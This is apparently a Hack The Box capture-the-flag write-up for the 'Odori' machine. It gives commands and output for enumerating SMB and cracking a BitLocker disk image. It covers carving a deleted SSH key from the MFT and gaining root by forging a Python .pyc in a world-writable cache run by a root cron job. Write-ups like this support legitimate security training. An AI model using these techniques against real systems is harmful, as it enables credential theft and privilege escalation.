HACK THE BOX · PENETRATION TEST REPORT



ODORI

Offline Forensics to Root — A Disk Image to the Domain

★★☆☆ MEDIUM

9	0	ROOT
EXPLOIT STAGES	CVES CHAINED	FINAL ACCESS

Leandro Ancona

Offensive Security Practitioner | eJPT Certified
Massafra, Italy

SEL — SENTITI LIBERO

Contents

01 Executive Summary

02 Reconnaissance and the Backup Share

03 Mounting the VMDK

04 Cracking BitLocker

05 Recovering the mRemoteNG Configuration

06 Recovering the SSH Private Key

07 User Access

08 Privilege Escalation Surface

09 Forging a .pyc and Gaining Root

10 Chain Summary and Conclusions

01

Executive Summary

Odori is a Medium-rated Linux machine whose foothold is not a live-service exploit but an 18 GB disk image offered for download. The entire chain flows from offline forensics on that image — a BitLocker-encrypted Windows backup — and then a single recovered SSH key pivots onto the live host, where a world-writable Python bytecode cache gives root via a cron job.

The box rewards treating the disk as evidence, not as a file to grep in a hurry: both the credential config and the SSH key are *deleted* files, recovered from the MFT and the recycle bin.

Attack chain overview

1. Reconnaissance: anonymous SMB exposes a `backup` share pointing at a VMDK.
2. The 18 GB image is a BitLocker-encrypted Windows disk.
3. BitLocker cracked offline with `bitlocker2john` + John.
4. The disk is mRemoteNG + PuTTY — a jump host.
5. Deleted `confCons.xml` recovered by inode; key auth, empty password.
6. Recycle-bin `.ppk` recovered and converted with `puttygen`.
7. SSH key as `svc_backup` (SFTP-only) — user flag captured.
8. World-writable `__pycache__` under a root-run archiver.
9. Forged `.pyc` with the original header executed as root — root flag captured.

02

Reconnaissance and the Backup Share

```
sudo nmap -p- --min-rate 5000 -T4 -Pn -oN odori_allports.txt <TARGET_IP>
```

```
22/tcp  open  ssh
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
```

No web — the whole initial surface is SMB (Ubuntu + Samba) and SSH.

```
smbclient -L //<TARGET_IP>/ -N
smbclient //<TARGET_IP>/backup -N -c 'recurse ON; ls'
```

```
  backup          Disk      Server Backups
  info.txt                  N       66  ...
```

● Key observation

The 66-byte `info.txt` points at a VMDK offered on the machine's download page (an 18 GB `.7z`, password `hackthebox`). That image *is* the attack surface — there is no other way in, so the whole box hinges on getting inside the disk. 18 GB compressed can balloon to 50–70 GB extracted, so check free space first, extract only the VMDK, and never work on it read-write — it is the only copy.

```
7z l -phackthebox ~/Downloads/odori.7z
7z x -phackthebox ~/Downloads/odori.7z     # -> file02.vmdk (~19 GB)
```

03

Mounting the VMDK

Load the NBD module and attach the image read-only:

```
sudo modprobe nbd max_part=8
sudo qemu-nbd --read-only --connect=/dev/nbd0 ~/Downloads/file02.vmdk
sudo fdisk -l /dev/nbd0
```

```
Disklabel type: gpt
/dev/nbd0p1   100M  EFI
/dev/nbd0p3   19.4G Microsoft basic data
/dev/nbd0p4   524M  Windows recovery
```

● Key observation

This is a **Windows** disk (volume label `FILE02`), not Linux — a workstation backup inside a Linux environment. The 19.4 GB data partition (`nbd0p3`) is BitLocker-encrypted; a plain `mount` fails.

04

Cracking BitLocker

```
sudo bitlocker2john -i /dev/nbd0p3 > bitlocker.txt
grep '^\$bitlocker\$0\$' bitlocker.txt > hash_user.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash_user.txt
```

```
<REDACTED>       (?)
```

A weak passphrase, found in seconds. Unlock the volume and mount it read-only:

```
sudo cryptsetup bitlkOpen /dev/nbd0p3 odori_bitlk --readonly
sudo mount -t ntfs-3g -o ro,remove_hiberfile /dev/mapper/odori_bitlk /mnt/odori
```

● The turning point

The correct instinct was *find the password, don't guess it* — in a `FILE02` environment it is usually documented somewhere. Here the SMB shares held nothing, so the keyslot-1 user password was the fallback, and it happened to be weak enough for rockyou. Guessing single candidates by hand (`hackthebox`) was abandoned after the first failure.

05

Recovering the mRemoteNG Configuration

The disk belongs to a jump host: **mRemoteNG** and PuTTY are installed. mRemoteNG stores saved connections — with credentials — in `confCons.xml`. Search both the live tree and deleted MFT entries:

```
sudo fls -r /dev/mapper/odori_bitlk 2>/dev/null | grep -iE 'confCons|mRemoteNG/.*\.xml'
```

```
+ -/r * 253341-128-5:   confCons.xml
+ -/r * 253411-128-4:   confCons.xml.20250111-...backup
  ... (8 timestamped backups)
```

Carve `confCons.xml` out by inode:

```
sudo icat /dev/mapper/odori_bitlk 253341 > confCons.xml
```

● Key observation

The relevant connection has `Password=""` but `Protocol="SSH2"` — so authentication is by **key**, not password. mRemoteNG's default `mR3m` passphrase was the first thing to try on any non-empty `Protected` field; here the empty password just means the secret is a key file.

06

Recovering the SSH Private Key

A key-auth connection with an empty password means the `.ppk` is on the disk:

```
sudo fls -r /dev/mapper/odori_bitlk 2>/dev/null | grep -iE '\.ppk|id_rsa|id_ed25519'
```

```
+ -/r * 253483-128-4:   $RKG5TGB.ppk
```

The `$R` prefix marks a recycle-bin file — the real, intact content of a deleted key. Carve and convert it:

```
sudo icat /dev/mapper/odori_bitlk 253483 > svc_backup.ppk
puttygen svc_backup.ppk -O private-openssh -o svc_backup_key
chmod 600 svc_backup_key
```

> ⚠ **Pitfall**
>
> A recycled file still occupies its MFT entry and clusters until overwritten — `icat` reads it verbatim. A file whose MFT record was reused would need content carving instead (`grep -a -b` for a known header, then `dd`).

07

User Access

The account is SFTP-only — a wrapper (`/opt/restrict`) forces `sftp-server` and ignores any interactive command, so a plain `ssh ... "id"` just hangs. Use SFTP:

```
sftp -i svc_backup_key svc_backup@<TARGET_IP>
sftp> get user.txt
```

USER FLAG

<REDACTED>

08

Privilege Escalation Surface

Over SFTP there is no command execution, but files are readable. `/opt` holds the restricted wrapper and an `archiver`:

```
sftp> ls -la /opt/archiver
drwxr-xr-x   archiver
-r--r--r--   app.py / helper.py       (root, read-only)
drwxr-xr-x   __pycache__              (drwxr-xrwx -> world-writable)
```

> ● **Key observation**
>
> `app.py` imports `helper` , and the directory permissions are the whole vulnerability: the source is protected but the bytecode cache is **world-writable**. Python loads `helper.cpython-310.pyc` from `__pycache__` on import. Replace that `.pyc` and the next run of the archiver — a root cron job — executes attacker code.

09

Forging a .pyc and Gaining Root

Python validates a cached `.pyc` against the source's **mtime and size**, stored in the header; a mismatch makes it recompile and ignore the payload. Read the authentic header from the existing `.pyc` :

```
sftp> get /opt/archiver/__pycache__/helper.cpython-310.pyc
python3 -c "import struct;d=open('helper.cpython-310.pyc','rb').read(16);print(d[:4].hex(),struct.unpack('<I',d[8:12])[0],struct.unpack('<I',d[12:16])
[0])"
# 6f0d0d0a 1737062139 412   (magic=Python 3.10, mtime, size)
```

⚠ **Pitfall**

SFTP did not preserve the source mtime on download, so `stat` on the pulled copy reported today's date. The authentic value had to come from the existing `.pyc` header, not from the file's own timestamp.

Build a payload that keeps the original function and adds a root action on import; compile in a matching 3.10 container and patch the header to the authentic mtime/size:

```
cat > helper.py << 'EOF'
import os, subprocess
from datetime import datetime
try:
    os.system('cp /root/root.txt /backup/root.txt; chmod 644 /backup/root.txt')
except Exception:
    pass
def tar_and_move_files(file_path, archive_dir):
    ...   # original function preserved
EOF

docker run --rm -v ~/htb/odori:/work -w /work python:3.10-slim python3 -c "
import py_compile, struct
py_compile.compile('helper.py', cfile='helper.cpython-310.pyc', doraise=True)
d = bytearray(open('helper.cpython-310.pyc','rb').read())
d[8:12] = struct.pack('<I', 1737062139); d[12:16] = struct.pack('<I', 412)
open('helper.cpython-310.pyc','wb').write(d); print('ok')"
```

Replace the cached bytecode — remove first, then upload — and read the flag from the share on the next cron run:

```
sftp> rm /opt/archiver/__pycache__/helper.cpython-310.pyc
sftp> put helper.cpython-310.pyc /opt/archiver/__pycache__/helper.cpython-310.pyc
sftp> get /backup/root.txt
```

ROOT FLAG

<REDACTED>

10

Chain Summary and Conclusions

#	STAGE	TECHNIQUE	RESULT
1	Reconnaissance	Anonymous SMB enumeration	`backup` share → VMDK
2	Offline analysis	`qemu-nbd` read-only mount	BitLocker partition identified
3	Cracking	`bitlocker2john` + John	Volume unlocked
4	Forensics	`fls` / `icat` on deleted MFT	mRemoteNG `confCons.xml`
5	Forensics	Recycle-bin carve	`svc_backup` `.ppk`
6	User access	`puttygen` + SFTP	User flag
7	Privesc recon	`__pycache__` permissions	World-writable bytecode
8	Privilege escalation	Forged `.pyc` + root cron	Root flag

Closing thoughts

Odori is a reminder that an offered artefact can *be* the attack surface. Mounting the image read-only preserved every timestamp and MFT record — and those records were the attack path, since both the config and the key were deleted files. The decisive detail at the end was the `.pyc` header: the forged bytecode lives or dies on matching the source's magic, mtime and size exactly, and the mtime had to come from the original header, not the downloaded copy.

Key takeaways

- Treat an offered disk image as evidence, not a file — read-only mounting preserves the MFT records that *are* the attack path.
- A deleted file is not a gone file; `fls` lists deleted MFT entries and `icat` reads their content by inode.
- `Password=""` in a connection manager rarely means no secret — combined with `Protocol="SSH2"` it points at key authentication.
- A world-writable `__pycache__` is a code-execution primitive; the protection on the source is irrelevant when the loader trusts the cache next to it.
- A forged `.pyc` must carry the source's exact magic, mtime and size — and the mtime must come from the original header.

Writeup by Leandro Ancona — Offensive Security Practitioner, eJPT Certified.